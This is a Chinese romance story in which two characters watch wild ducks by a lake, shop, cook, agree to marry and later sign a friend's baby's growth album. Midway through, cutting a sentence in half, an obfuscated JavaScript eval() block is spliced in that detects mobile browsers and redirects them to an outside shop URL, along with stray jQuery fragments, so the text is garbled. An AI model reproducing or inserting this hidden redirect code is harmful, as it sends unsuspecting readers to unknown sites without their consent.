三月的北京，风先暖了。太阳出得一天比一天早，路边的玉兰打了苞，白的一层，裹在毛茸茸的壳里。
周六早上，方严来接她。车上了四环，他说，去我家。
祝青云有七年没回过那套湖景平层。电梯一层一层往上走，她看着按键面板，没说话。
玄关还是老样子，鞋柜上放着一双新拖鞋，是她惯穿的那个款，标签还没拆。她换上，很合脚。
屋里很干净，显然有人定期来打扫。他去烧水泡茶，她先走到窗边。湖在楼下，三月的水是亮的，一群野鸭子在水面上游，排着不太整齐的队，时不时有一只把头扎进水里，又冒出来，抖一抖，水珠甩成一小片。
方严端着茶过来，两只杯子，一人一只。
“野鸭子回来了。”她说。
“嗯。”他在她旁边坐下，“十八只。”
“这你也知道。”
“每年都数。”
她偏头看了他一眼，方严看着湖面，语气和说今天天晴没什么两样。她端起茶喝了一口，烫，但好喝。
“它们从哪儿飞回来的？”她问。
“南边。”
“明年会不会变成二十四只？”
“说不准，有的鸭子不合群。”
“像你。”
“像你也行。”
“领头那只是不是之前那只？”
“应该是。”他说，“背上有一撮白毛，我记得。”
“你连鸭子都记得长相。”
“它年年回来，算老熟人。”
两个人就坐在窗边，说了一上午没有信息量的话。楼下的玉兰是白的还是紫的，他说是白的，她说是紫的，谁也没下楼验证，最后定了赌注，输的人做下周末的饭。下个周末做什么，他说来看花，顺便定谁做饭，她说行，再把上回没看完的那部电影看了。哪部电影，两个人想了半天，谁也想不起名字，最后决定到时候再说。
“它们年年回来。”他说。
“那以后年年都看。”她说。
上午过半，他去厨房切了一盘橙子，摆在两人中间。橙子很甜，一瓣一瓣，吃得比说话慢。
“茶叶是南边寄来的。”他说，“跟鸭子来的方向一样。”
“那你得谢谢它们，大老远给你带货。”
“谢过了。”他说，“每年都来看它们。”
她想了想，说赌注要不算了，反正横竖都是他做饭。他说不行，规矩是规矩，玉兰开了见分晓。
茶喝到第二泡，日头升上来，湖面亮得晃眼。
中午，两个人下楼，去超市买菜。
冷藏柜前，方严伸手拿了她常喝的那种酸奶，黄桃味，两排，放进车里。
“我没说要。”她说。
“你看了它一眼。”他说，“看了一会儿。”
水果区，她蹲下来挑草莓，一盒一盒翻。他在旁边负责鉴定，拿起一盒，看了看底下，说不行，底下压着两颗烂的，换了三盒，才有一盒通过。她说你这标准比给我泡茶还高。他说草莓不经放，标准必须高。
蔬菜区，她在葱和姜之间犹豫，手里拿着一把葱，眼睛看着姜。
“都要。”他把两样都放进车里，“爆锅用葱，炖汤用姜，不冲突。”
“你什么时候会炖汤了？”
“下午你就知道了。”
粮油区，他扛了一小袋米，又拿鸡蛋，挑鸡蛋的时候他对着灯，一只一只地看。
“这能看出什么？”她问。
“看不出。”他说，“看个心安。”
祝青云笑得直不起腰，引来旁边理货员看了一眼。方严面不改色，把挑好的十二只鸡蛋放进车里，垫了两层纸，放在草莓旁边。
排队结账，前头一个小孩，五六岁，坐在购物车里，回头看他：“叔叔，你碰到我了。”
他往后退了半步。
小孩又看见她，很响亮地喊：“姐姐好。”
“你好。”她说。
小孩的妈妈回头笑，说不好意思。小孩不理，接着问：“姐姐，你认识这个叔叔吗？”
“认识。”她说。
“你们是一家的吗？”
她还没答，方严把一盒草莓放上传送带，说：“是。”
小孩的妈妈笑出了声。
出了超市，他拎着全部袋子，大的小的四五个，她只抱着一盆薄荷。路过花草区的时候她多看了两眼，蹲下来挑了叶子最密的一盆，他就拿了，说给她的窗台添个新的。
“叔叔和姐姐，”她在路上说，“谁吃亏了？”
“小孩吃亏了。”方严说，“他把咱俩叫差辈了。”
“不对，是我吃亏了，我跟你一辈，平白被叫小了。”
“那我也吃亏了，平白被叫老了。”
“你本来就老。”
“那你就是跟老头一辈的。”
“薄荷要不要起个名字？”她低头看怀里那盆绿的。
“一盆薄荷，起什么名字。”
“那也是有来处的。”
他看了她一眼，没驳。
“今天这顿先记账上。”她说，“等玉兰开了见分晓。”
“行。”他说，“利息就是这盆薄荷。”
“利息归我？”
“本金利息都归你。”
她抱着薄荷笑了一路，叶子蹭着她的袖子，一股凉的香味。
下午，厨房。
方严做饭，他的动作不快，每一步都清楚。葱切段，姜切片，排骨焯水，汤锅坐上灶，转小火。案板上的东西摆得很整齐，碗是碗，碟是碟，她递什么，他接什么，不用看。
祝青云靠在厨房门框上看。
“别在那儿盯着我看。”他回头说。
“看看不收费。”
他没接话，过了一会儿，关了火，在水池边洗了手，擦干，朝她走过来。
她还没来得及问怎么了，他就吻了她。
干净，一次，没有借口。
吻完了，他退开半步，看着她的眼睛。她靠着门框没动，先笑了。
“这个要记下来吗？”她问。
“记入永久存档。”
“编号？”
“001。”他说，“永久存档只有一份。”
“那以后再有呢？”
“以后都往001里续。”
汤在灶上咕嘟，他回去看火，她留在原地，接手了尝咸淡的活儿。这是他给她设的岗位。
第一勺，淡了，加盐；第二勺，正好；第三勺，她说要再确认一下。
“你是想多喝一口。”他说。
“我这是工作态度严谨。”
“这是最重要的岗位。”他说。
“嗯，只设一个编制。”
“终身制。”
汤要等一小时，两个人到客厅去，电视开着，放一部讲深海的纪录片。
沙发很宽，她坐着坐着，就靠到了他身上。解说词又低又平，画面里一片深蓝，水母一盏一盏地亮，鮟鱇鱼提着自己的灯从深处游过去。
祝青云睡着了。
遥控器就在手边，方严不太敢动，轻轻地把音量调低两格，之后连这个也没再动。纪录片一集一集往下放，放到她睡过去的那一段，放完，自动跳下一集。他把进度条拉回去，找到她睡着的那一分钟，从头排好，暂停住。
她醒来的时候，天擦黑了，窗外湖面上浮着一层橘色。
“睡得好吗？”他问。
“嗯。”她坐起来，嗓子有点哑，“纪录片讲到哪了？”
“你睡着那段，我给你存着了。”
“存哪了？”
“进度条上。”他把暂停按掉，水母重新一盏一盏亮起来，“从你睡着的那一分钟开始。”
其实他只是把进度条拖了回去，但说得好像存了档。
“你胳膊麻不麻？”她问。
“不麻。”
他说着不麻，端汤的时候右手抖了一下，被她看见了。她没拆穿，决定记在心里，往001里续。
汤看起来确实不错，排骨炖得脱了骨，汤是清的，葱花浮在上头。
“怎么样？”
“咸淡正好。”她说，“这编制没白设。”
饭桌上说起苏南的孩子，快满月了，得准备礼物。她说买件小衣服，小孩的衣服小，看着就高兴。他说好，你挑，我付钱。她说本来也是这么打算的。他点头，说分工明确。
黄昏，两个人又回到窗边。
湖面收了最后一点太阳，托出一层金红。野鸭子还在，排着队往芦苇那边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787403|209103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
游，一只一只，影子拖得很长，领头那只背上果然有一撮白毛，游得不紧不慢。
她看了一会儿，说：“那年我问过你一个问题。”
“我记得。”他说。
“现在我问最后一次。”
她看着他，还没开口。
“会。”
“我还没问。”
“你问什么，都是这个答案。”
她看着他，看了很久。湖水在窗子底下一点一点暗下去，金红收成一线，又收成没有。
然后她真的问了：“你会娶我吗？”
“会。”
空气停了停了一拍。
“这个答案我等了很多年，”他说，“说出口才发现，其实不用等。”
祝青云低下头笑了一下，又抬起头：“那明天我还来吗？”
“明天也来。”
“后天呢？”
“也来。”
“那就不用问了。”
“嗯，不用问了。”
两个人又在窗边坐了一会儿，楼下的玉兰黑成一团影子，花苞看不见了。
“是紫的。”她说。
“还没开，你就判我输。”
“我说是紫的，就是紫的。”
“行。”他说，“紫的。”
她赢了，赢得毫无道理，他认得心甘情愿。
天黑透了，他把饭菜端上桌，两个人把下午那锅汤喝完，把菜吃光。碗是他洗的，桌子是她擦的。走的时候她回头看了一眼湖面，黑的，什么也看不见，但鸭子在那儿，十八只。
几周之后，苏南的孩子满月。
家里很热闹，周工掌勺，从中午忙到晚上，端到最后自己都记不住端了几样。孩子在里屋睡觉，睡得很沉，谁去看都说像爸，也有人说像妈，最后统一了意见：都像。
他们俩带的礼物是一件小棉衣，淡黄的，她挑的，他付的钱。苏南说买早了，天都暖和了，她说留着，秋天正好。另有一个红包，谁也没在封皮上写名字，苏南接过去掂了掂，说不用写，反正跑不了你们俩。
汤过三巡，没人喝酒，孩子要喂奶。苏南从里屋出来，手里拿着一本册子。
硬壳，深蓝色，封面上印着“成长档案”四个字。第一页贴着两只小脚印，红泥的，一大一小，并排着。再往后翻，扉页上印着两栏，一栏“干爸”，一栏“干妈”，都空着。
“签字吧，”苏南把笔递过来，“你们俩。”
两个人并排坐下。
方严先签，他的字她认得，笔画收得紧，两个字站得很直。
然后是她的，她接过笔，笔尖落在纸上，写得比平时慢。三个字，一笔一笔，写完，和他那两个并排站着，中间隔着一道印好的线，又好像没有隔。
两个名字，第一次签在同一张纸上。
苏南把档案拿起来，凑近了看，看了看那两个并排的名字，说：“挺配的。”
里屋的孩子哼了一声，像说梦话，又像附和。全桌都笑了。周工在厨房里喊，笑什么，汤要凉了。
那一晚吃得很久。孩子醒了一次，被抱出来传了一圈，到方严手里居然没哭，睁着眼睛看他，还伸手攥住了他一根手指，攥得很牢。他抱孩子的姿势谈不上标准，但很稳，一只手托着，另一只手护着后脑。
“练过？”苏南问。
“看视频学的。”他说。
桌上有人起哄，问什么时候轮到他俩摆满月酒。方严还没答，祝青云先开口了，说得先回去问问鸭子同不同意。满桌没人听懂，只有方严在给孩子拍嗝，手停都没停，嘴角动了一下。
祝青云坐在旁边看着，没插话，桌上很吵，她心里倒安静。
从苏南家出来，是夜里了。路上车不多，很顺。
他开车，说：“客房我打算重新装。”
顿了顿。
“你的书，有地方放了，改一个祝总专用书房。”
“我书很多。”她说。
“我知道，改了整面墙的书架。”
她看着窗外，笑了。三月的夜一程一程往后退，亮着的店，亮着的天桥，亮着的人家。
车在公园大道的楼下停稳。，她朝他摆了摆手，转身进了大堂。
春天刚来，他们的日子，已经过到了很后面。